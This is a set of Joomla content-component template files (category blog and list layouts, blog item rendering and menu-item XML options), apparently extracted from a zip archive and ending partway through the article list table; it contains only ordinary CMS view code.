<div class="com-content-category-blog blog" itemscope itemtype="https://schema.org/Blog">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1> <?php echo $this->escape($this->params->get('page_heading')); ?> </h1>
        </div>
    <?php endif; ?>

    <?php if ($this->params->get('show_category_title', 1)) : ?>
    <<?php echo $htag; ?>>
        <?php echo $this->category->title; ?>
    </<?php echo $htag; ?>>
    <?php endif; ?>
    <?php echo $afterDisplayTitle; ?>

    <?php if ($this->params->get('show_cat_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
        <?php $this->category->tagLayout = new FileLayout('joomla.content.tags'); ?>
        <?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
    <?php endif; ?>

    <?php if ($beforeDisplayContent || $afterDisplayContent || $this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
        <div class="category-desc clearfix">
            <?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
                <?php echo LayoutHelper::render(
                    'joomla.html.image',
                    [
                        'src' => $this->category->getParams()->get('image'),
                        'alt' => empty($this->category->getParams()->get('image_alt')) && empty($this->category->getParams()->get('image_alt_empty')) ? false : $this->category->getParams()->get('image_alt'),
                    ]
                ); ?>
            <?php endif; ?>
            <?php echo $beforeDisplayContent; ?>
            <?php if ($this->params->get('show_description') && $this->category->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->category->description, '', 'com_content.category'); ?>
            <?php endif; ?>
            <?php echo $afterDisplayContent; ?>
        </div>
    <?php endif; ?>

    <?php if (empty($this->lead_items) && empty($this->link_items) && empty($this->intro_items)) : ?>
        <?php if ($this->params->get('show_no_articles', 1)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>

    <?php if (!empty($this->lead_items)) : ?>
        <div class="com-content-category-blog__items blog-items items-leading <?php echo $this->params->get('blog_class_leading'); ?>">
            <?php foreach ($this->lead_items as &$item) : ?>
                <div class="com-content-category-blog__item blog-item" itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = &$item;
                    echo $this->loadTemplate('item');
                    ?>
                </div>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->intro_items)) : ?>
        <?php $blogClass = $this->params->get('blog_class', ''); ?>
        <?php if ((int) $this->params->get('num_columns') > 1) : ?>
            <?php $blogClass .= (int) $this->params->get('multi_column_order', 0) === 0 ? ' masonry-' : ' columns-'; ?>
            <?php $blogClass .= (int) $this->params->get('num_columns'); ?>
        <?php endif; ?>
        <div class="com-content-category-blog__items blog-items <?php echo $blogClass; ?>">
        <?php foreach ($this->intro_items as $key => &$item) : ?>
            <div class="com-content-category-blog__item blog-item"
                itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
                    <?php
                    $this->item = & $item;
                    echo $this->loadTemplate('item');
                    ?>
            </div>
        <?php endforeach; ?>
        </div>
    <?php endif; ?>

    <?php if (!empty($this->link_items)) : ?>
        <div class="items-more">
            <?php echo $this->loadTemplate('links'); ?>
        </div>
    <?php endif; ?>

    <?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
        <div class="com-content-category-blog__children cat-children">
            <?php if ($this->params->get('show_category_heading_title_text', 1) == 1) : ?>
                <h3> <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?> </h3>
            <?php endif; ?>
            <?php echo $this->loadTemplate('children'); ?> </div>
    <?php endif; ?>
    <?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
        <div class="com-content-category-blog__navigation w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="com-content-category-blog__counter counter float-md-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <div class="com-content-category-blog__pagination">
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        </div>
    <?php endif; ?>
</div>
PK���\9���??%com_content/tmpl/category/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE" option="COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Category_List"
		/>
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
		>
			<field
				name="id"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="filter_tag"
				type="tag"
				label="JTAG"
				multiple="true"
				mode="nested"
				custom="deny"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">

			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXLEVEL_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_no_articles"
				type="list"
				label="COM_CONTENT_NO_ARTICLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_category_heading_title_text"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_articles"
				type="list"
				label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>
			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="title">JGLOBAL_TITLE</option>
				<option value="author">JAUTHOR</option>
				<option value="hits" requires="hits">JGLOBAL_HITS</option>
				<option value="tag">JTAG</option>
				<option value="month">JMONTH_PUBLISHED</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="list_show_date"
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="date_format"
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
				useglobal="true"
			/>

			<field
				name="list_show_hits"
				type="list"
				label="JGLOBAL_LIST_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="list_show_author"
				type="list"
				label="JGLOBAL_LIST_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="list_show_votes"
				type="votelist"
				label="JGLOBAL_LIST_VOTES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0" requires="vote">JHIDE</option>
				<option value="1" requires="vote">JSHOW</option>
			</field>

			<field
				name="list_show_ratings"
				type="votelist"
				label="JGLOBAL_LIST_RATINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0" requires="vote">JHIDE</option>
				<option value="1" requires="vote">JSHOW</option>
			</field>

			<field
				name="spacer1"
				type="spacer"
				hr="true"
			/>

			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote"> JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="JGLOBAL_NUMBER_ITEMS_LIST_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_featured"
				type="list"
				label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
				useglobal="true"
				default=""
				validate="options"
				>
				<option value="show">JSHOW</option>
				<option value="hide">JHIDE</option>
				<option value="only">JONLY</option>
			</field>
		</fieldset>

		<fieldset name="article"
			label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="article_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				class="form-select"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>
		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�����%com_content/tmpl/category/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

?>
<div class="com-content-category category-list">

<?php
$this->subtemplatename = 'articles';
echo LayoutHelper::render('joomla.content.category_default', $this);
?>

</div>
PK���\�>���'com_content/tmpl/category/blog_item.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create a shortcut for params.
$params = $this->item->params;
$canEdit = $this->item->params->get('access-edit');
$info    = $params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate   = Factory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED || $this->item->publish_up > $currentDate)
    || ($this->item->publish_down < $currentDate && $this->item->publish_down !== null);

?>

<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<div class="item-content">
    <?php if ($isUnpublished) : ?>
        <div class="system-unpublished">
    <?php endif; ?>

    <?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $this->item); ?>

    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // @todo Not that elegant would be nice to group the params ?>
    <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
        || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>
    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php if (!$params->get('show_intro')) : ?>
        <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
        <?php echo $this->item->event->afterDisplayTitle; ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php echo $this->item->introtext; ?>

    <?php if ($info == 1 || $info == 2) : ?>
        <?php if ($useDefList) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
        <?php endif; ?>
        <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
            <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
        <?php endif; ?>
    <?php endif; ?>

    <?php if ($params->get('show_readmore') && $this->item->readmore) :
        if ($params->get('access-view')) :
            $link = Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
        else :
            $menu = Factory::getApplication()->getMenu();
            $active = $menu->getActive();
            $itemId = $active->id;
            $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
            $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
        endif; ?>

        <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>

    <?php endif; ?>

    <?php if ($isUnpublished) : ?>
        </div>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
PK���\ےR�N�N.com_content/tmpl/category/default_articles.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\AssociationHelper;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_content.articles-list');

// Create some shortcuts.
$n          = count($this->items);
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$langFilter = false;

// Tags filtering based on language filter
if (($this->params->get('filter_field') === 'tag') && (Multilanguage::isEnabled())) {
    $tagfilter = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter');

    switch ($tagfilter) {
        case 'current_language':
            $langFilter = Factory::getApplication()->getLanguage()->getTag();
            break;

        case 'all':
            $langFilter = false;
            break;

        default:
            $langFilter = $tagfilter;
    }
}

// Check for at least one editable article
$isEditable = false;

if (!empty($this->items)) {
    foreach ($this->items as $article) {
        if ($article->params->get('access-edit')) {
            $isEditable = true;
            break;
        }
    }
}

$currentDate = Factory::getDate()->format('Y-m-d H:i:s');
?>

<form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="com-content-category__articles">
    <?php if ($this->params->get('filter_field') !== 'hide') : ?>
        <div class="com-content__filter btn-group">
            <?php if ($this->params->get('filter_field') === 'tag') : ?>
                <span class="visually-hidden">
                    <label class="filter-search-lbl" for="filter-search">
                        <?php echo Text::_('JOPTION_SELECT_TAG'); ?>
                    </label>
                </span>
                <select name="filter_tag" id="filter-search" class="form-select" onchange="document.adminForm.submit();" >
                    <option value=""><?php echo Text::_('JOPTION_SELECT_TAG'); ?></option>
                    <?php echo HTMLHelper::_('select.options', HTMLHelper::_('tag.options', ['filter.published' => [1], 'filter.language' => $langFilter], true), 'value', 'text', $this->state->get('filter.tag')); ?>
                </select>
            <?php elseif ($this->params->get('filter_field') === 'month') : ?>
                <span class="visually-hidden">
                    <label class="filter-search-lbl" for="filter-search">
                        <?php echo Text::_('JOPTION_SELECT_MONTH'); ?>
                    </label>
                </span>
                <select name="filter-search" id="filter-search" class="form-select" onchange="document.adminForm.submit();">
                    <option value=""><?php echo Text::_('JOPTION_SELECT_MONTH'); ?></option>
                    <?php echo HTMLHelper::_('select.options', HTMLHelper::_('content.months', $this->state), 'value', 'text', $this->state->get('list.filter')); ?>
                </select>
            <?php else : ?>
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>
                </label>
                <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" placeholder="<?php echo Text::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL'); ?>">
            <?php endif; ?>

            <?php if ($this->params->get('filter_field') !== 'tag' && $this->params->get('filter_field') !== 'month') : ?>
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
            <?php endif; ?>
            <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
        </div>
    <?php endif; ?>

    <?php if ($this->params->get('show_pagination_limit')) : ?>
        <div class="com-content-category__pagination btn-group float-end">
            <label for="limit" class="visually-hidden">
                <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
            </label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
    <?php endif; ?>

    <?php if (empty($this->items)) : ?>
        <?php if ($this->params->get('show_no_articles', 1)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTENT_NO_ARTICLES'); ?>
            </div>
        <?php endif; ?>
    <?php else : ?>
        <table class="com-content-category__table category table table-striped table-bordered table-hover">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_CONTENT_ARTICLES_TABLE_CAPTION'); ?>
            </caption>
            <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                <tr>
                    <th scope="col" id="categorylist_header_title">
                        <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder, null, 'asc', '', 'adminForm'); ?>
                    </th>
                    <?php if ($date = $this->params->get('list_show_date')) : ?>
                        <th scope="col" id="categorylist_header_date">
                            <?php if ($date === 'created') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.created', $listDirn, $listOrder); ?>
                            <?php elseif ($date === 'modified') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.modified', $listDirn, $listOrder); ?>
                            <?php elseif ($date === 'published') : ?>
                                <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.publish_up', $listDirn, $listOrder); ?>
                            <?php endif; ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_author')) : ?>
                        <th scope="col" id="categorylist_header_author">
                            <?php echo HTMLHelper::_('grid.sort', 'JAUTHOR', 'author', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_hits')) : ?>
                        <th scope="col" id="categorylist_header_hits">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_votes', 0) && $this->vote) : ?>
                        <th scope="col" id="categorylist_header_votes">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTENT_VOTES', 'rating_count', $listDirn, $listOrder); ?>
                        </th>
                    <?php endif; ?>
                    <?php if ($this->params->get('list_show_ratings', 0) && $this->vote) : ?>
                        <th scope="col" id="categorylist_header_ratings">
